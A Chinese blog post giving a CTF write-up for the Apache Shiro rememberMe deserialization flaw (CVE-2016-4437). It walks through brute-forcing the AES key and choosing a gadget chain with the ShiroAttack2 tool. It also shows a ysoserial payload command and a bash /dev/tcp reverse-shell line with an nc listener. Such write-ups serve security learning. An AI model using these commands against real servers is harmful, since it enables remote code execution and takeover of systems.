shiro反序列化(CVE-2016-4437)题解+工具下载提醒
shiro反序列化(CVE-2016-4437)题解+工具下载提醒
描述:
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值 -> Base64解码 –> AES解密 –> 反序列化。
然而AES的密钥是硬编码的(在网上可以搜到公开的固定的密钥),就可以构造恶意数据造成反序列化的RCE漏洞。
前期准备软件:
1.**ShiroAttack2**https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
此工具需要java环境,如果你的java环境比较新是没有图形化的,需要下载java8
这里建议更改一下ShiroAttack2打开方式为你下载的java8\bin\java.exe,这样就不用输入命令行了,然后再建立个快捷方式,一键打开即可:
1 | D:\official\java8\bin\java.exe -jar "D:\official\ShiroAttack2\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar" |
一开始我的思路还是扫描,明显是错的,我们应该去抓包观察

明白,是shiro框架

接下来的逻辑就是爆破密钥
方法一:yakit(比较麻烦,而且要下载插件,下载完还要手动替换)
方法二:下载ShiroAttack2
步骤详解:
- 第一步:地址与连接
- 在 Target 框输入地址
- 第二步:点“爆破密钥”
别忘记找到后填写key
- 第三步:解决“未找到构造链”
- 在利用链下拉菜单中,在 ShiroAttack2 中请优先尝试:
CommonsBeanutils1- 如果不行,换 **
CommonsBeanutils2**等等
- 回显方式:既然你已经看到 Tomcat,请务必选择
TomcatEcho。
- 在利用链下拉菜单中,在 ShiroAttack2 中请优先尝试:
- 第四步:验证与执行
- 点击 “检测当前利用链”。
- 看到日志显示
Success或成功后,切换到 “命令执行” 选项卡。 - 输入:
env或cat /flag。

如果没用工具呢?
1. 关于“利用链” (Gadget Chain)
- 工具里:你只是下拉选了
CommonsBeanutils1。 - 手动做:你需要去 GitHub 下载
ysoserial.jar,然后在命令行敲:java -jar ysoserial.jar CommonsBeanutils1 "env" > payload.bin。 - 原理:利用链就是利用目标服务器上已有的库(比如
commons-beanutils)的漏洞,把你的env命令传给系统。
2. 关于“加密投递”
工具里:它自动帮你完成了。
手动做:你需要写 Python 脚本,用 AES 算法对
payload.bin进行加密。公式: Ciphertext=Base64(IV+AES_Encrypt(Key,Payload))
原理:Shiro 规定了
rememberMe必须是加密的,否则它不会去反序列化
3. 关于“回显” (Echo)
- 工具里:你选了
TomcatEcho,执行后 Flag 直接显示在窗口里。 - 手动做:如果你不会写回显代码,你只能用 “反弹 Shell”。
- 动作:你在自己电脑运行
nc -lvp 4444。 - 原理:你发给服务器的命令不是
env,而是bash -i >& /dev/tcp/你的IP/4444 0>&1。 - 结果:服务器会主动连你的电脑,把它的终端界面传给你。
- 动作:你在自己电脑运行
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 24kmagic!
评论

